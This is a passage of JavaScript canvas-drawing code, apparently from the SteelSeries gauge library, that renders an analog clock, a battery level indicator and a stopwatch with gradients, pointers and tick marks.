* 0.116822, imageWidth * 0.490654, imageHeight * 0.574766); grad.addColorStop(0, steelseries.ColorDef.RED.light.getRgbaColor()); grad.addColorStop(0.47, steelseries.ColorDef.RED.medium.getRgbaColor()); grad.addColorStop(1, steelseries.ColorDef.RED.dark.getRgbaColor()); ctx.fillStyle = grad; ctx.strokeStyle = steelseries.ColorDef.RED.dark.getRgbaColor(); ctx.fill(); ctx.stroke(); break; } ctx.restore(); }; var drawKnob = function (ctx) { var grad; // draw the knob ctx.beginPath(); ctx.arc(centerX, centerY, imageWidth * 0.045, 0, TWO_PI); ctx.closePath(); grad = ctx.createLinearGradient(centerX - imageWidth * 0.045 / 2, centerY - imageWidth * 0.045 / 2, centerX + imageWidth * 0.045 / 2, centerY + imageWidth * 0.045 / 2); grad.addColorStop(0, '#eef0f2'); grad.addColorStop(1, '#65696d'); ctx.fillStyle = grad; ctx.fill(); }; var drawTopKnob = function (ctx, ptrType) { var grad; ctx.save(); switch (ptrType.type) { case 'type2': // draw knob ctx.fillStyle = '#000000'; ctx.beginPath(); ctx.arc(centerX, centerY, imageWidth * 0.088785 / 2, 0, TWO_PI); ctx.closePath(); ctx.fill(); break; case 'type1': /* falls through */ default: // draw knob grad = ctx.createLinearGradient(centerX - imageWidth * 0.027 / 2, centerY - imageWidth * 0.027 / 2, centerX + imageWidth * 0.027 / 2, centerY + imageWidth * 0.027 / 2); grad.addColorStop(0, '#f3f4f7'); grad.addColorStop(0.11, '#f3f5f7'); grad.addColorStop(0.12, '#f1f3f5'); grad.addColorStop(0.2, '#c0c5cb'); grad.addColorStop(0.2, '#bec3c9'); grad.addColorStop(1, '#bec3c9'); ctx.fillStyle = grad; ctx.beginPath(); ctx.arc(centerX, centerY, imageWidth * 0.027, 0, TWO_PI); ctx.closePath(); ctx.fill(); break; } ctx.restore(); }; var calculateAngles = function (hour, minute, second) { secondPointerAngle = second * ANGLE_STEP * RAD_FACTOR; minutePointerAngle = minute * ANGLE_STEP * RAD_FACTOR; hourPointerAngle = (hour + minute / 60) * ANGLE_STEP * 5 * RAD_FACTOR; }; var tickTock = function () { if (isAutomatic) { objDate = new Date(); } else { objDate.setHours(hour); objDate.setMinutes(minute); objDate.setSeconds(second); } // Seconds second = objDate.getSeconds() + (secondMovesContinuous ? objDate.getMilliseconds() / 1000 : 0); // Hours if (timeZoneOffsetHour !== 0) { hour = objDate.getUTCHours() + timeZoneOffsetHour; } else { hour = objDate.getHours(); } hour = hour % 12; // Minutes if (timeZoneOffsetMinute !== 0) { minute = objDate.getUTCMinutes() + timeZoneOffsetMinute; } else { minute = objDate.getMinutes(); } if (minute > 60) { minute -= 60; hour++; } if (minute < 0) { minute += 60; hour--; } hour = hour % 12; // Calculate angles from current hour and minute values calculateAngles(hour, minute, second); if (isAutomatic) { tickTimer = setTimeout(tickTock, tickInterval); } self.repaint(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawPointers = (undefined === parameters.pointers ? false : parameters.pointers); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); initialized = true; if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (drawBackground && backgroundVisible) { // Create background in background buffer (backgroundBuffer) drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); drawTickmarksImage(backgroundContext, pointerType); } if (drawPointers) { drawHourPointer(hourContext, pointerType); drawMinutePointer(minuteContext, pointerType); drawSecondPointer(secondContext, pointerType); } if (drawForeground && foregroundVisible) { drawTopKnob(foregroundContext, pointerType); drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, false); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetPointers = (undefined === buffers.pointers ? false : buffers.pointers); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetPointers) { hourBuffer.width = size; hourBuffer.height = size; hourContext = hourBuffer.getContext('2d'); minuteBuffer.width = size; minuteBuffer.height = size; minuteContext = minuteBuffer.getContext('2d'); secondBuffer.width = size; secondBuffer.height = size; secondContext = secondBuffer.getContext('2d'); } if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; //************************************ Public methods ************************************** this.getAutomatic = function () { return isAutomatic; }; this.setAutomatic = function (newValue) { newValue = !!newValue; if (isAutomatic && !newValue) { // stop the clock! clearTimeout(tickTimer); isAutomatic = newValue; } else if (!isAutomatic && newValue) { // start the clock isAutomatic = newValue; tickTock(); } return this; }; this.getHour = function () { return hour; }; this.setHour = function (newValue) { newValue = parseInt(newValue, 10) % 12; if (hour !== newValue) { hour = newValue; calculateAngles(hour, minute, second); this.repaint(); } return this; }; this.getMinute = function () { return minute; }; this.setMinute = function (newValue) { newValue = parseInt(newValue, 10) % 60; if (minute !== newValue) { minute = newValue; calculateAngles(hour, minute, second); this.repaint(); } return this; }; this.getSecond = function () { return second; }; this.setSecond = function (newValue) { newValue = parseInt(newValue, 10) % 60; if (second !== newValue) { second = newValue; calculateAngles(hour, minute, second); this.repaint(); } return this; }; this.getTimeZoneOffsetHour = function () { return timeZoneOffsetHour; }; this.setTimeZoneOffsetHour = function (newValue) { timeZoneOffsetHour = parseInt(newValue, 10); this.repaint(); return this; }; this.getTimeZoneOffsetMinute = function () { return timeZoneOffsetMinute; }; this.setTimeZoneOffsetMinute = function (newValue) { timeZoneOffsetMinute = parseInt(newValue, 10); this.repaint(); return this; }; this.getSecondPointerVisible = function () { return secondPointerVisible; }; this.setSecondPointerVisible = function (newValue) { secondPointerVisible = !!newValue; this.repaint(); return this; }; this.getSecondMovesContinuous = function () { return secondMovesContinuous; }; this.setSecondMovesContinuous = function (newValue) { secondMovesContinuous = !!newValue; tickInterval = (secondMovesContinuous ? 100 : 1000); tickInterval = (secondPointerVisible ? tickInterval : 100); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({ frame: true, background: true }); backgroundColor = newBackgroundColor; init({ frame: true, background: true }); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setPointerType = function (newPointerType) { resetBuffers({ background: true, foreground: true, pointers: true }); pointerType = newPointerType; if (pointerType.type === 'type1') { pointerColor = steelseries.ColorDef.GRAY; backgroundColor = steelseries.BackgroundColor.ANTHRACITE; } else { pointerColor = steelseries.ColorDef.BLACK; backgroundColor = steelseries.BackgroundColor.LIGHT_GRAY; } init({ background: true, foreground: true, pointers: true }); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers({pointers: true}); pointerColor = newPointerColor; init({pointers: true}); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, pointers: true, foreground: true}); } //mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas if (backgroundVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } // have to draw to a rotated temporary image area so we can translate in // absolute x, y values when drawing to main context var shadowOffset = imageWidth * 0.006; // draw hour pointer // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(hourPointerAngle); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(hourBuffer, 0, 0); // draw minute pointer // Define rotation center mainCtx.translate(centerX, centerY); mainCtx.rotate(minutePointerAngle - hourPointerAngle); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(minuteBuffer, 0, 0); mainCtx.restore(); if (pointerType.type === 'type1') { drawKnob(mainCtx); } if (secondPointerVisible) { // draw second pointer // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(secondPointerAngle); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(secondBuffer, 0, 0); mainCtx.restore(); } // Draw foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } }; // Visualize the component tickTock(); return this; }; var battery = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), value = (undefined === parameters.value ? 50 : parameters.value); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = mainCtx.canvas.width; } var imageWidth = size; var imageHeight = Math.ceil(size * 0.45); // Set the size - also clears the canvas mainCtx.canvas.width = imageWidth; mainCtx.canvas.height = imageHeight; var createBatteryImage = function (ctx, imageWidth, imageHeight, value) { var grad; // Background ctx.beginPath(); ctx.moveTo(imageWidth * 0.025, imageHeight * 0.055555); ctx.lineTo(imageWidth * 0.9, imageHeight * 0.055555); ctx.lineTo(imageWidth * 0.9, imageHeight * 0.944444); ctx.lineTo(imageWidth * 0.025, imageHeight * 0.944444); ctx.lineTo(imageWidth * 0.025, imageHeight * 0.055555); ctx.closePath(); // ctx.beginPath(); ctx.moveTo(imageWidth * 0.925, 0); ctx.lineTo(0, 0); ctx.lineTo(0, imageHeight); ctx.lineTo(imageWidth * 0.925, imageHeight); ctx.lineTo(imageWidth * 0.925, imageHeight * 0.722222); ctx.bezierCurveTo(imageWidth * 0.925, imageHeight * 0.722222, imageWidth * 0.975, imageHeight * 0.722222, imageWidth * 0.975, imageHeight * 0.722222); ctx.bezierCurveTo(imageWidth, imageHeight * 0.722222, imageWidth, imageHeight * 0.666666, imageWidth, imageHeight * 0.666666); ctx.bezierCurveTo(imageWidth, imageHeight * 0.666666, imageWidth, imageHeight * 0.333333, imageWidth, imageHeight * 0.333333); ctx.bezierCurveTo(imageWidth, imageHeight * 0.333333, imageWidth, imageHeight * 0.277777, imageWidth * 0.975, imageHeight * 0.277777); ctx.bezierCurveTo(imageWidth * 0.975, imageHeight * 0.277777, imageWidth * 0.925, imageHeight * 0.277777, imageWidth * 0.925, imageHeight * 0.277777); ctx.lineTo(imageWidth * 0.925, 0); ctx.closePath(); // grad = ctx.createLinearGradient(0, 0, 0, imageHeight); grad.addColorStop(0, '#ffffff'); grad.addColorStop(1, '#7e7e7e'); ctx.fillStyle = grad; ctx.fill(); // Main ctx.beginPath(); var end = Math.max(imageWidth * 0.875 * (value / 100), Math.ceil(imageWidth * 0.01)); ctx.rect(imageWidth * 0.025, imageWidth * 0.025, end, imageHeight * 0.888888); ctx.closePath(); var BORDER_FRACTIONS = [0, 0.4, 1]; var BORDER_COLORS = [new RgbaColor(177, 25, 2, 1), // 0xB11902 new RgbaColor(219, 167, 21, 1), // 0xDBA715 new RgbaColor(121, 162, 75, 1) // 0x79A24B ]; var border = new GradientWrapper(0, 100, BORDER_FRACTIONS, BORDER_COLORS); ctx.fillStyle = border.getColorAt(value / 100).getRgbColor(); ctx.fill(); ctx.beginPath(); end = Math.max(end - imageWidth * 0.05, 0); ctx.rect(imageWidth * 0.05, imageWidth * 0.05, end, imageHeight * 0.777777); ctx.closePath(); var LIQUID_COLORS_DARK = [new RgbaColor(198, 39, 5, 1), // 0xC62705 new RgbaColor(228, 189, 32, 1), // 0xE4BD20 new RgbaColor(163, 216, 102, 1) // 0xA3D866 ]; var LIQUID_COLORS_LIGHT = [new RgbaColor(246, 121, 48, 1), // 0xF67930 new RgbaColor(246, 244, 157, 1), // 0xF6F49D new RgbaColor(223, 233, 86, 1) // 0xDFE956 ]; var LIQUID_GRADIENT_FRACTIONS = [0, 0.4, 1]; var liquidDark = new GradientWrapper(0, 100, LIQUID_GRADIENT_FRACTIONS, LIQUID_COLORS_DARK); var liquidLight = new GradientWrapper(0, 100, LIQUID_GRADIENT_FRACTIONS, LIQUID_COLORS_LIGHT); grad = ctx.createLinearGradient(imageWidth * 0.05, 0, imageWidth * 0.875, 0); grad.addColorStop(0, liquidDark.getColorAt(value / 100).getRgbColor()); grad.addColorStop(0.5, liquidLight.getColorAt(value / 100).getRgbColor()); grad.addColorStop(1, liquidDark.getColorAt(value / 100).getRgbColor()); ctx.fillStyle = grad; ctx.fill(); // Foreground ctx.beginPath(); ctx.rect(imageWidth * 0.025, imageWidth * 0.025, imageWidth * 0.875, imageHeight * 0.444444); ctx.closePath(); grad = ctx.createLinearGradient(imageWidth * 0.025, imageWidth * 0.025, imageWidth * 0.875, imageHeight * 0.444444); grad.addColorStop(0, 'rgba(255, 255, 255, 0)'); grad.addColorStop(1, 'rgba(255, 255, 255, 0.8)'); ctx.fillStyle = grad; ctx.fill(); }; // ************** Public methods ******************** this.setValue = function (newValue) { newValue = (newValue < 0 ? 0 : (newValue > 100 ? 100 : newValue)); if (value !== newValue) { value = newValue; this.repaint(); } return this; }; this.getValue = function () { return value; }; this.repaint = function () { mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); createBatteryImage(mainCtx, imageWidth, imageHeight, value); }; // Visualize the component this.repaint(); return this; }; var stopwatch = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.BLACK : parameters.pointerColor), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.LIGHT_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), minutePointerAngle = 0, secondPointerAngle = 0, tickTimer, ANGLE_STEP = 6, self = this, start = 0, currentMilliSeconds = 0, minutes = 0, seconds = 0, milliSeconds = 0, running = false, lap = false, // Get the canvas context mainCtx = getCanvasContext(canvas), imageWidth, imageHeight, centerX, centerY, smallPointerSize, smallPointerX_Offset, smallPointerY_Offset, initialized = false, // Buffer for the frame frameBuffer, frameContext, // Buffer for static background painting code backgroundBuffer, backgroundContext, // Buffer for small pointer image painting code smallPointerBuffer, smallPointerContext, // Buffer for large pointer image painting code largePointerBuffer, largePointerContext, // Buffer for static foreground painting code foregroundBuffer, foregroundContext, drawTickmarksImage = function (ctx, width, range, text_scale, text_dist_factor, x_offset, y_offset) { var STD_FONT_SIZE = text_scale * width, STD_FONT = STD_FONT_SIZE + 'px ' + stdFontName, TEXT_WIDTH = width * 0.15, THIN_STROKE = 0.5, MEDIUM_STROKE = 1, THICK_STROKE = 1.5, TEXT_DISTANCE = text_dist_factor * width, MIN_LENGTH = Math.round(0.025 * width), MED_LENGTH = Math.round(0.035 * width), MAX_LENGTH = Math.round(0.045 * width), TEXT_COLOR = backgroundColor.labelColor.getRgbaColor(), TICK_COLOR = backgroundColor.labelColor.getRgbaColor(), CENTER = width / 2, // Create the ticks itself RADIUS = width * 0.4, innerPoint, outerPoint, textPoint, counter = 0, numberCounter = 0, tickCounter = 0, valueCounter, // value for the tickmarks sinValue = 0, cosValue = 0, alpha, // angle for the tickmarks ALPHA_START = -PI, ANGLE_STEPSIZE = TWO_PI / (range); ctx.width = ctx.height = width; ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.font = STD_FONT; for (alpha = ALPHA_START, valueCounter = 0; valueCounter <= range + 1; alpha -= ANGLE_STEPSIZE * 0.1, valueCounter += 0.1) { ctx.lineWidth = THIN_STROKE; sinValue = Math.sin(alpha); cosValue = Math.cos(alpha); // tickmark every 2 units if (counter % 2 === 0) { //ctx.lineWidth = THIN_STROKE; innerPoint = [CENTER + (RADIUS - MIN_LENGTH) * sinValue + x_offset, CENTER + (RADIUS - MIN_LENGTH) * cosValue + y_offset]; outerPoint = [CENTER + RADIUS * sinValue + x_offset, CENTER + RADIUS * cosValue + y_offset]; // Draw ticks ctx.strokeStyle = TICK_COLOR; ctx.beginPath(); ctx.moveTo(innerPoint[0], innerPoint[1]); ctx.lineTo(outerPoint[0], outerPoint[1]); ctx.closePath(); ctx.stroke(); } // Different tickmark every 10 units if (counter === 10 || counter === 0) { ctx.fillStyle = TEXT_COLOR; ctx.lineWidth = MEDIUM_STROKE; outerPoint = [CENTER + RADIUS * sinValue + x_offset, CENTER + RADIUS * cosValue + y_offset]; textPoint = [CENTER + (RADIUS - TEXT_DISTANCE) * sinValue + x_offset, CENTER + (RADIUS - TEXT_DISTANCE) * cosValue + y_offset]; // Draw text if (numberCounter === 5) { if (valueCounter !== range) { if (Math.round(valueCounter) !== 60) { ctx.fillText(Math.round(valueCounter), textPoint[0], textPoint[1], TEXT_WIDTH); } } ctx.lineWidth = THICK_STROKE; innerPoint = [CENTER + (RADIUS - MAX_LENGTH) * sinValue + x_offset, CENTER + (RADIUS - MAX_LENGTH) * cosValue + y_offset]; numberCounter = 0; } else { ctx.lineWidth = MEDIUM_STROKE; innerPoint = [CENTER + (RADIUS - MED_LENGTH) * sinValue + x_offset, CENTER + (RADIUS - MED_LENGTH) * cosValue + y_offset]; } // Draw ticks ctx.strokeStyle = TICK_COLOR; ctx.beginPath(); ctx.moveTo(innerPoint[0], innerPoint[1]); ctx.lineTo(outerPoint[0], outerPoint[1]); ctx.closePath(); ctx.stroke(); counter = 0; tickCounter++; numberCounter++; } counter++; } ctx.restore(); }, drawLargePointer = function (ctx) { var grad, radius; ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.509345, imageWidth * 0.457943); ctx.lineTo(imageWidth * 0.5, imageWidth * 0.102803); ctx.lineTo(imageWidth * 0.490654, imageWidth * 0.457943); ctx.bezierCurveTo(imageWidth * 0.490654, imageWidth * 0.457943, imageWidth * 0.490654, imageWidth * 0.457943, imageWidth * 0.490654, imageWidth * 0.457943); ctx.bezierCurveTo(imageWidth * 0.471962, imageWidth * 0.462616, imageWidth * 0.457943, imageWidth * 0.481308, imageWidth * 0.457943, imageWidth * 0.5); ctx.bezierCurveTo(imageWidth * 0.457943, imageWidth * 0.518691, imageWidth * 0.471962, imageWidth * 0.537383, imageWidth * 0.490654, imageWidth * 0.542056); ctx.bezierCurveTo(imageWidth * 0.490654, imageWidth * 0.542056, imageWidth * 0.490654, imageWidth * 0.542056, imageWidth * 0.490654, imageWidth * 0.542056); ctx.lineTo(imageWidth * 0.490654, imageWidth * 0.621495); ctx.lineTo(imageWidth * 0.509345, imageWidth * 0.621495); ctx.lineTo(imageWidth * 0.509345, imageWidth * 0.542056); ctx.bezierCurveTo(imageWidth * 0.509345, imageWidth * 0.542056, imageWidth * 0.509345, imageWidth * 0.542056, imageWidth * 0.509345, imageWidth * 0.542056); ctx.bezierCurveTo(imageWidth * 0.528037, imageWidth * 0.537383, imageWidth * 0.542056, imageWidth * 0.518691, imageWidth * 0.542056, imageWidth * 0.5); ctx.bezierCurveTo(imageWidth * 0.542056, imageWidth * 0.481308, imageWidth * 0.528037, imageWidth * 0.462616, imageWidth * 0.509345, imageWidth * 0.457943); ctx.bezierCurveTo(imageWidth * 0.509345, imageWidth * 0.457943, imageWidth * 0.509345, imageWidth * 0.457943, imageWidth * 0.509345, imageWidth * 0.457943); ctx.closePath(); grad = ctx.createLinearGradient(0, 0, 0, imageWidth * 0.621495); grad.addColorStop(0, pointerColor.medium.getRgbaColor()); grad.addColorStop(0.388888, pointerColor.medium.getRgbaColor()); grad.addColorStop(0.5, pointerColor.light.getRgbaColor()); grad.addColorStop(0.611111, pointerColor.medium.getRgbaColor()); grad.addColorStop(1, pointerColor.medium.getRgbaColor()); ctx.fillStyle = grad; ctx.strokeStyle = pointerColor.dark.getRgbaColor(); ctx.fill(); ctx.stroke(); // Draw the rings ctx.beginPath(); radius = imageWidth * 0.065420 / 2; ctx.arc(centerX, centerY, radius, 0, TWO_PI); grad = ctx.createLinearGradient(centerX - radius, centerX + radius, 0, centerX + radius); grad.addColorStop(0, '#e6b35c'); grad.addColorStop(0.01, '#e6b35c'); grad.addColorStop(0.99, '#c48200'); grad.addColorStop(1, '#c48200'); ctx.fillStyle = grad; ctx.closePath(); ctx.fill(); ctx.beginPath(); radius = imageWidth * 0.046728 / 2; ctx.arc(centerX, centerY, radius, 0, TWO_PI); grad = ctx.createRadialGradient(centerX, centerX, 0, centerX, centerX, radius); grad.addColorStop(0, '#c5c5c5'); grad.addColorStop(0.19, '#c5c5c5'); grad.addColorStop(0.22, '#000000'); grad.addColorStop(0.8, '#000000'); grad.addColorStop(0.99, '#707070'); grad.addColorStop(1, '#707070'); ctx.fillStyle = grad; ctx.closePath(); ctx.fill(); ctx.restore(); }, drawSmallPointer = function (ctx) { var grad, radius; ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.476635, imageWidth * 0.313084); ctx.bezierCurveTo(imageWidth * 0.476635, imageWidth * 0.322429, imageWidth * 0.485981, imageWidth * 0.331775, imageWidth * 0.495327, imageWidth * 0.336448); ctx.bezierCurveTo(imageWidth * 0.495327, imageWidth * 0.336448, imageWidth * 0.495327, imageWidth * 0.350467, imageWidth * 0.495327, imageWidth * 0.350467); ctx.lineTo(imageWidth * 0.504672, imageWidth * 0.350467); ctx.bezierCurveTo(imageWidth * 0.504672, imageWidth * 0.350467, imageWidth * 0.504672, imageWidth * 0.336448, imageWidth * 0.504672, imageWidth * 0.336448); ctx.bezierCurveTo(imageWidth * 0.514018, imageWidth * 0.331775, imageWidth * 0.523364, imageWidth * 0.322429, imageWidth * 0.523364, imageWidth * 0.313084); ctx.bezierCurveTo(imageWidth * 0.523364, imageWidth * 0.303738, imageWidth * 0.514018, imageWidth * 0.294392, imageWidth * 0.504672, imageWidth * 0.289719); ctx.bezierCurveTo(imageWidth * 0.504672, imageWidth * 0.289719, imageWidth * 0.5, imageWidth * 0.200934, imageWidth * 0.5, imageWidth * 0.200934); ctx.bezierCurveTo(imageWidth * 0.5, imageWidth * 0.200934, imageWidth * 0.495327, imageWidth * 0.289719, imageWidth * 0.495327, imageWidth * 0.289719); ctx.bezierCurveTo(imageWidth * 0.485981, imageWidth * 0.294392, imageWidth * 0.476635, imageWidth * 0.303738, imageWidth * 0.476635, imageWidth * 0.313084); ctx.closePath(); grad = ctx.createLinearGradient(0, 0, imageWidth, 0); grad.addColorStop(0, pointerColor.medium.getRgbaColor()); grad.addColorStop(0.388888, pointerColor.medium.getRgbaColor()); grad.addColorStop(0.5, pointerColor.light.getRgbaColor()); grad.addColorStop(0.611111, pointerColor.medium.getRgbaColor()); grad.addColorStop(1, pointerColor.medium.getRgbaColor()); ctx.fillStyle = grad; ctx.strokeStyle = pointerColor.dark.getRgbaColor(); ctx.fill(); ctx.stroke(); // Draw the rings ctx.beginPath(); radius = imageWidth * 0.037383 / 2; ctx.arc(centerX, smallPointerY_Offset + smallPointerSize / 2, radius, 0, TWO_PI); ctx.fillStyle = '#C48200'; ctx.closePath(); ctx.fill(); ctx.beginPath(); radius = imageWidth * 0.028037 / 2; ctx.arc(centerX, smallPointerY_Offset + smallPointerSize / 2, radius, 0, TWO_PI); ctx.fillStyle = '#999999'; ctx.closePath(); ctx.fill(); ctx.beginPath(); radius = imageWidth * 0.018691 / 2; ctx.arc(centerX, smallPointerY_Offset + smallPointerSize / 2, radius, 0, TWO_PI); ctx.fillStyle = '#000000'; ctx.closePath(); ctx.fill(); ctx.restore(); }, calculateAngles = function () { currentMilliSeconds = new Date().getTime() - start; secondPointerAngle = (currentMilliSeconds * ANGLE_STEP / 1000); minutePointerAngle = (secondPointerAngle % 10800) / 30; minutes = (currentMilliSeconds / 60000) % 30; seconds = (currentMilliSeconds / 1000) % 60; milliSeconds = (currentMilliSeconds) % 1000; }, init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame), drawBackground = (undefined === parameters.background ? false : parameters.background), drawPointers = (undefined === parameters.pointers ? false : parameters.pointers), drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); initialized = true; if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (drawBackground && backgroundVisible) { // Create background in background buffer (backgroundBuffer) drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); drawTickmarksImage(backgroundContext, imageWidth, 60, 0.075, 0.1, 0, 0); drawTickmarksImage(backgroundContext, smallPointerSize, 30, 0.095, 0.13, smallPointerX_Offset, smallPointerY_Offset); } if (drawPointers) { drawLargePointer(largePointerContext); drawSmallPointer(smallPointerContext); } if (drawForeground && foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, false); } }, resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame), resetBackground = (undefined === buffers.background ? false : buffers.background), resetPointers = (undefined === buffers.pointers ? false : buffers.pointers), resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetPointers) { smallPointerBuffer.width = size; smallPointerBuffer.height = size; smallPointerContext = smallPointerBuffer.getContext('2d'); largePointerBuffer.width = size; largePointerBuffer.height = size; largePointerContext = largePointerBuffer.getContext('2d'); } if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }, tickTock = function () { if (!lap) { calculateAngles(); self.repaint(); } if (running) { tickTimer = setTimeout(tickTock, 200); } }; //************************************ Public methods ************************************** // Returns true if the stopwatch is running this.isRunning = function () { return running; }; // Starts the stopwatch this.start = function () { if (!running) { running = true; start = new Date().getTime() - currentMilliSeconds; tickTock(); } return this; }; // Stops the stopwatch this.stop = function () { if (running) { running = false; clearTimeout(tickTimer); //calculateAngles(); } if (lap) { lap = false; calculateAngles(); this.repaint(); } return this; }; // Resets the stopwatch this.reset = function () { if (running) { running = false; lap = false; clearTimeout(tickTimer); } start = new Date().getTime(); calculateAngles(); this.repaint(); return this; }; // Laptimer, stop/restart stopwatch this.lap = function () { if (running && !lap) { lap = true; } else if (lap) { lap = false; } return this; }; this.getMeasuredTime = function () { return (minutes + ':' + seconds + ':' + milliSeconds); }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({ background: true }); backgroundColor = newBackgroundColor; init({ background: true }); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers({pointers: true}); pointerColor = newPointerColor; init({pointers: true}); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, pointers: true, foreground: true}); } mainCtx.clearRect(0, 0, imageWidth, imageHeight); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas if (backgroundVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } // have to draw to a rotated temporary image area so we can translate in // absolute x, y values when drawing to main context var shadowOffset = imageWidth * 0.006; var rotationAngle = (minutePointerAngle + (2 * Math.sin(minutePointerAngle * RAD_FACTOR))) * RAD_FACTOR; var secRotationAngle = (secondPointerAngle + (2 * Math.sin(secondPointerAngle * RAD_FACTOR))) * RAD_FACTOR; // Draw the minute pointer // Define rotation center mainCtx.save(); mainCtx.translate(centerX, smallPointerY_Offset + smallPointerSize / 2); mainCtx.rotate(rotationAngle); mainCtx.translate(-centerX, -(smallPointerY_Offset + smallPointerSize / 2)); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset / 2; mainCtx.shadowBlur = shadowOffset; // Draw the pointer mainCtx.drawImage(smallPointerBuffer, 0, 0); mainCtx.restore(); // Draw the second pointer // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(secRotationAngle); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset / 2; mainCtx.shadowBlur = shadowOffset; // Draw the pointer mainCtx.drawImage(largePointerBuffer, 0, 